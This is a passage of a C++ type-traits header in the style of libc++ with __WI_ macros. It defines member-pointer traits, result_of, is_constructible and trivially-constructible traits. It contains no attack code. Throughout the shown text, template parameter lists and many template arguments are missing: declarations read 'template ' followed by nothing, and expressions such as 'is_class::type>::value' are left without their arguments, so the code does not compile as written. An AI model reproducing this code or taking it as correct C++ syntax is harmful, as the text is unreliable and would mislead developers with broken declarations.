...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n#if __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS || \\\n (defined(__WI_GNUC_VER) && __WI_GNUC_VER >= 409)\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) &, true, false>\n {\n typedef _Class& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) &, true, false>\n {\n typedef _Class& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const&, true, false>\n {\n typedef _Class const& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const&, true, false>\n {\n typedef _Class const& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile&, true, false>\n {\n typedef _Class volatile& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile&, true, false>\n {\n typedef _Class volatile& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile&, true, false>\n {\n typedef _Class const volatile& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile&, true, false>\n {\n typedef _Class const volatile& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) &&, true, false>\n {\n typedef _Class&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) &&, true, false>\n {\n typedef _Class&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const&&, true, false>\n {\n typedef _Class const&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const&&, true, false>\n {\n typedef _Class const&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile&&, true, false>\n {\n typedef _Class volatile&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile&&, true, false>\n {\n typedef _Class volatile&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile&&, true, false>\n {\n typedef _Class const volatile&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile&&, true, false>\n {\n typedef _Class const volatile&& _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n#endif // __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS || __WI_GNUC_VER >= 409\n\n#else // __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) ();\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)() const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) ();\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)() volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) ();\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) volatile, true, false>\n {\n typedef _Class volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)() const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) ();\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) const volatile, true, false>\n {\n typedef _Class const volatile _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_P0, _P1, _P2, ...);\n };\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __member_pointer_traits_imp<_Rp _Class::*, false, true>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n };\n\n template \n struct __member_pointer_traits\n : public __member_pointer_traits_imp::type,\n is_member_function_pointer<_Mp>::value,\n is_member_object_pointer<_Mp>::value>\n {\n // typedef ... _ClassType;\n // typedef ... _ReturnType;\n // typedef ... _FnType;\n };\n\n\n template \n struct __member_pointer_class_type {};\n\n template \n struct __member_pointer_class_type<_Ret _ClassType::*> {\n typedef _ClassType type;\n };\n\n // result_of\n\n template class result_of;\n\n#ifdef __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n class __result_of\n {\n };\n\n template \n class __result_of<_Fn(), true, false>\n {\n public:\n typedef decltype(declval<_Fn>()()) type;\n };\n\n template \n class __result_of<_Fn(_A0), true, false>\n {\n public:\n typedef decltype(declval<_Fn>()(declval<_A0>())) type;\n };\n\n template \n class __result_of<_Fn(_A0, _A1), true, false>\n {\n public:\n typedef decltype(declval<_Fn>()(declval<_A0>(), declval<_A1>())) type;\n };\n\n template \n class __result_of<_Fn(_A0, _A1, _A2), true, false>\n {\n public:\n typedef decltype(declval<_Fn>()(declval<_A0>(), declval<_A1>(), declval<_A2>())) type;\n };\n\n template \n struct __result_of_mp;\n\n // member function pointer\n\n template \n struct __result_of_mp<_Mp, _Tp, true>\n : public __identity::_ReturnType>\n {\n };\n\n // member data pointer\n\n template \n struct __result_of_mdp;\n\n template \n struct __result_of_mdp<_Rp _Class::*, _Tp, false>\n {\n typedef typename __apply_cv()), _Rp>::type& type;\n };\n\n template \n struct __result_of_mdp<_Rp _Class::*, _Tp, true>\n {\n typedef typename __apply_cv<_Tp, _Rp>::type& type;\n };\n\n template \n struct __result_of_mp<_Rp _Class::*, _Tp, false>\n : public __result_of_mdp<_Rp _Class::*, _Tp,\n is_base_of<_Class, typename remove_reference<_Tp>::type>::value>\n {\n };\n\n\n\n template \n class __result_of<_Fn(_Tp), false, true> // _Fn must be member pointer\n : public __result_of_mp::type,\n _Tp,\n is_member_function_pointer::type>::value>\n {\n };\n\n template \n class __result_of<_Fn(_Tp, _A0), false, true> // _Fn must be member pointer\n : public __result_of_mp::type,\n _Tp,\n is_member_function_pointer::type>::value>\n {\n };\n\n template \n class __result_of<_Fn(_Tp, _A0, _A1), false, true> // _Fn must be member pointer\n : public __result_of_mp::type,\n _Tp,\n is_member_function_pointer::type>::value>\n {\n };\n\n template \n class __result_of<_Fn(_Tp, _A0, _A1, _A2), false, true> // _Fn must be member pointer\n : public __result_of_mp::type,\n _Tp,\n is_member_function_pointer::type>::value>\n {\n };\n\n // result_of\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn()>\n : public __result_of<_Fn(),\n is_class::type>::value ||\n is_function::type>::type>::value,\n is_member_pointer::type>::value\n >\n {\n };\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0)>\n : public __result_of<_Fn(_A0),\n is_class::type>::value ||\n is_function::type>::type>::value,\n is_member_pointer::type>::value\n >\n {\n };\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0, _A1)>\n : public __result_of<_Fn(_A0, _A1),\n is_class::type>::value ||\n is_function::type>::type>::value,\n is_member_pointer::type>::value\n >\n {\n };\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0, _A1, _A2)>\n : public __result_of<_Fn(_A0, _A1, _A2),\n is_class::type>::value ||\n is_function::type>::type>::value,\n is_member_pointer::type>::value\n >\n {\n };\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n\n // template struct is_constructible;\n\n namespace __is_construct\n {\n struct __nat {};\n }\n\n#if !defined(__WI_LIBCPP_CXX03_LANG) && (!__WI_HAS_FEATURE_IS_CONSTRUCTIBLE || \\\n defined(__WI_LIBCPP_TESTING_FALLBACK_IS_CONSTRUCTIBLE))\n\n template \n struct __libcpp_is_constructible;\n\n template \n struct __is_invalid_base_to_derived_cast {\n static_assert(is_reference<_To>::value, \"Wrong specialization\");\n using _RawFrom = __uncvref_t<_From>;\n using _RawTo = __uncvref_t<_To>;\n static const bool value = __lazy_and<\n __lazy_not>,\n is_base_of<_RawFrom, _RawTo>,\n __lazy_not<__libcpp_is_constructible<_RawTo, _From>>\n >::value;\n };\n\n template \n struct __is_invalid_lvalue_to_rvalue_cast : false_type {\n static_assert(is_reference<_To>::value, \"Wrong specialization\");\n };\n\n template \n struct __is_invalid_lvalue_to_rvalue_cast<_ToRef&&, _FromRef&> {\n using _RawFrom = __uncvref_t<_FromRef>;\n using _RawTo = __uncvref_t<_ToRef>;\n static const bool value = __lazy_and<\n __lazy_not>,\n __lazy_or<\n is_same<_RawFrom, _RawTo>,\n is_base_of<_RawTo, _RawFrom>>\n >::value;\n };\n\n struct __is_constructible_helper\n {\n template \n static void __eat(_To);\n\n // This overload is needed to work around a Clang bug that disallows\n // static_cast(e) for non-reference-compatible types.\n // Example: static_cast(declval());\n // NOTE: The static_cast implementation below is required to support\n // classes with explicit conversion operators.\n template (declval<_From>()))>\n static true_type __test_cast(int);\n\n template (declval<_From>()))>\n static integral_constant::value &&\n !__is_invalid_lvalue_to_rvalue_cast<_To, _From>::value\n > __test_cast(long);\n\n template \n static false_type __test_cast(...);\n\n template ()...))>\n static true_type __test_nary(int);\n template \n static false_type __test_nary(...);\n\n template ()))>\n static is_destructible<_Tp> __test_unary(int);\n template \n static false_type __test_unary(...);\n };\n\n template ::value>\n struct __is_default_constructible\n : decltype(__is_constructible_helper::__test_nary<_Tp>(0))\n {};\n\n template \n struct __is_default_constructible<_Tp, true> : false_type {};\n\n template \n struct __is_default_constructible<_Tp[], false> : false_type {};\n\n template \n struct __is_default_constructible<_Tp[_Nx], false>\n : __is_default_constructible::type> {};\n\n template \n struct __libcpp_is_constructible\n {\n static_assert(sizeof...(_Args) > 1, \"Wrong specialization\");\n typedef decltype(__is_constructible_helper::__test_nary<_Tp, _Args...>(0))\n type;\n };\n\n template \n struct __libcpp_is_constructible<_Tp> : __is_default_constructible<_Tp> {};\n\n template \n struct __libcpp_is_constructible<_Tp, _A0>\n : public decltype(__is_constructible_helper::__test_unary<_Tp, _A0>(0))\n {};\n\n template \n struct __libcpp_is_constructible<_Tp&, _A0>\n : public decltype(__is_constructible_helper::\n __test_cast<_Tp&, _A0>(0))\n {};\n\n template \n struct __libcpp_is_constructible<_Tp&&, _A0>\n : public decltype(__is_constructible_helper::\n __test_cast<_Tp&&, _A0>(0))\n {};\n\n#endif\n\n#if __WI_HAS_FEATURE_IS_CONSTRUCTIBLE\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible\n : public integral_constant\n {};\n#elif !defined(__WI_LIBCPP_CXX03_LANG)\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible\n : public __libcpp_is_constructible<_Tp, _Args...>::type {};\n#else\n // template struct is_constructible0;\n\n // main is_constructible0 test\n\n template \n decltype((_Tp(), true_type()))\n __is_constructible0_test(_Tp&);\n\n false_type\n __is_constructible0_test(__any);\n\n template \n decltype((_Tp(declval<_A0>()), true_type()))\n __is_constructible1_test(_Tp&, _A0&);\n\n template \n false_type\n __is_constructible1_test(__any, _A0&);\n\n template \n decltype((_Tp(declval<_A0>(), declval<_A1>()), true_type()))\n __is_constructible2_test(_Tp&, _A0&, _A1&);\n\n template \n false_type\n __is_constructible2_test(__any, _A0&, _A1&);\n\n template \n decltype((_Tp(declval<_A0>(), declval<_A1>(), declval<_A2>()), true_type()))\n __is_constructible3_test(_Tp&, _A0&, _A1&, _A2&);\n\n template \n false_type\n __is_constructible3_test(__any, _A0&, _A1&, _A2&);\n\n template \n struct __is_constructible0_imp // false, _Tp is not a scalar\n : public common_type\n <\n decltype(__is_constructible0_test(declval<_Tp&>()))\n >::type\n {};\n\n template \n struct __is_constructible1_imp // false, _Tp is not a scalar\n : public common_type\n <\n decltype(__is_constructible1_test(declval<_Tp&>(), declval<_A0&>()))\n >::type\n {};\n\n template \n struct __is_constructible2_imp // false, _Tp is not a scalar\n : public common_type\n <\n decltype(__is_constructible2_test(declval<_Tp&>(), declval<_A0>(), declval<_A1>()))\n >::type\n {};\n\n template \n struct __is_constructible3_imp // false, _Tp is not a scalar\n : public common_type\n <\n decltype(__is_constructible3_test(declval<_Tp&>(), declval<_A0>(), declval<_A1>(), declval<_A2>()))\n >::type\n {};\n\n // handle scalars and reference types\n\n // Scalars are default constructible, references are not\n\n template \n struct __is_constructible0_imp\n : public is_scalar<_Tp>\n {};\n\n template \n struct __is_constructible1_imp\n : public is_convertible<_A0, _Tp>\n {};\n\n template \n struct __is_constructible2_imp\n : public false_type\n {};\n\n template \n struct __is_constructible3_imp\n : public false_type\n {};\n\n // Treat scalars and reference types separately\n\n template \n struct __is_constructible0_void_check\n : public __is_constructible0_imp::value || is_reference<_Tp>::value,\n _Tp>\n {};\n\n template \n struct __is_constructible1_void_check\n : public __is_constructible1_imp::value || is_reference<_Tp>::value,\n _Tp, _A0>\n {};\n\n template \n struct __is_constructible2_void_check\n : public __is_constructible2_imp::value || is_reference<_Tp>::value,\n _Tp, _A0, _A1>\n {};\n\n template \n struct __is_constructible3_void_check\n : public __is_constructible3_imp::value || is_reference<_Tp>::value,\n _Tp, _A0, _A1, _A2>\n {};\n\n // If any of T or Args is void, is_constructible should be false\n\n template \n struct __is_constructible0_void_check\n : public false_type\n {};\n\n template \n struct __is_constructible1_void_check\n : public false_type\n {};\n\n template \n struct __is_constructible2_void_check\n : public false_type\n {};\n\n template \n struct __is_constructible3_void_check\n : public false_type\n {};\n\n // is_constructible entry point\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible\n : public __is_constructible3_void_check::value\n || is_abstract<_Tp>::value\n || is_function<_Tp>::value\n || is_void<_A0>::value\n || is_void<_A1>::value\n || is_void<_A2>::value,\n _Tp, _A0, _A1, _A2>\n {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, __is_construct::__nat, __is_construct::__nat>\n : public __is_constructible0_void_check::value\n || is_abstract<_Tp>::value\n || is_function<_Tp>::value,\n _Tp>\n {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, _A0, __is_construct::__nat>\n : public __is_constructible1_void_check::value\n || is_abstract<_Tp>::value\n || is_function<_Tp>::value\n || is_void<_A0>::value,\n _Tp, _A0>\n {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, _A0, _A1, __is_construct::__nat>\n : public __is_constructible2_void_check::value\n || is_abstract<_Tp>::value\n || is_function<_Tp>::value\n || is_void<_A0>::value\n || is_void<_A1>::value,\n _Tp, _A0, _A1>\n {};\n\n // Array types are default constructible if their element type\n // is default constructible\n\n template \n struct __is_constructible0_imp\n : public is_constructible::type>\n {};\n\n template \n struct __is_constructible1_imp\n : public false_type\n {};\n\n template \n struct __is_constructible2_imp\n : public false_type\n {};\n\n template \n struct __is_constructible3_imp\n : public false_type\n {};\n\n // Incomplete array types are not constructible\n\n template \n struct __is_constructible0_imp\n : public false_type\n {};\n\n template \n struct __is_constructible1_imp\n : public false_type\n {};\n\n template \n struct __is_constructible2_imp\n : public false_type\n {};\n\n template \n struct __is_constructible3_imp\n : public false_type\n {};\n\n#endif // __WI_HAS_FEATURE_IS_CONSTRUCTIBLE\n\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_constructible_v\n = is_constructible<_Tp, _Args...>::value;\n#endif\n\n // is_default_constructible\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_default_constructible\n : public is_constructible<_Tp>\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_default_constructible_v\n = is_default_constructible<_Tp>::value;\n#endif\n\n // is_copy_constructible\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_copy_constructible\n : public is_constructible<_Tp,\n typename add_lvalue_reference::type>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_copy_constructible_v\n = is_copy_constructible<_Tp>::value;\n#endif\n\n // is_move_constructible\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_move_constructible\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n : public is_constructible<_Tp, typename add_rvalue_reference<_Tp>::type>\n#else\n : public is_copy_constructible<_Tp>\n#endif\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_move_constructible_v\n = is_move_constructible<_Tp>::value;\n#endif\n\n // is_trivially_constructible\n\n#ifndef __WI_LIBCPP_HAS_NO_VARIADICS\n\n#if __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE || __WI_GNUC_VER >= 501\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible\n : integral_constant\n {\n };\n\n#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible\n : false_type\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp>\n#if __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR\n : integral_constant\n#else\n : integral_constant::value>\n#endif\n {\n };\n\n template \n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&&>\n#else\n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp>\n#endif\n : integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&>\n : integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&>\n : integral_constant::value>\n {\n };\n\n#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE\n\n#else // __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible\n : false_type\n {\n };\n\n#if __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE || __WI_GNUC_VER >= 501\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, __is_construct::__nat,\n __is_construct::__nat>\n : integral_constant\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp,\n __is_construct::__nat>\n : integral_constant\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&,\n __is_construct::__nat>\n : integral_constant\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&,\n __is_construct::__nat>\n : integral_constant\n {\n };\n\n#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, __is_construct::__nat,\n __is_construct::__nat>\n : integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp,\n __is_construct::__nat>\n : integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, const _Tp&,\n __is_construct::__nat>\n : integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp, _Tp&,\n __is_construct::__nat>\n : integral_constant::value>\n {\n };\n\n#endif // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_constructible_v\n = is_trivially_constructible<_Tp, _Args...>::value;\n#endif\n\n // is_trivially_default_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_default_constructible\n : public is_trivially_constructible<_Tp>\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_default_constructible_v\n = is_trivially_default_constructible<_Tp>::value;\n#endif\n\n // is_trivially_copy_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_copy_constructible\n : public is_trivially_constructible<_Tp, typename add_lvalue_reference::type>\n {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_trivially_copy_constructible_v\n = is_trivially_copy_constructible<_Tp>::value;\n#endif\n\n // is_trivially_move_constructible\n\n template struct __WI_LIBCPP_TEMPLATE_VIS 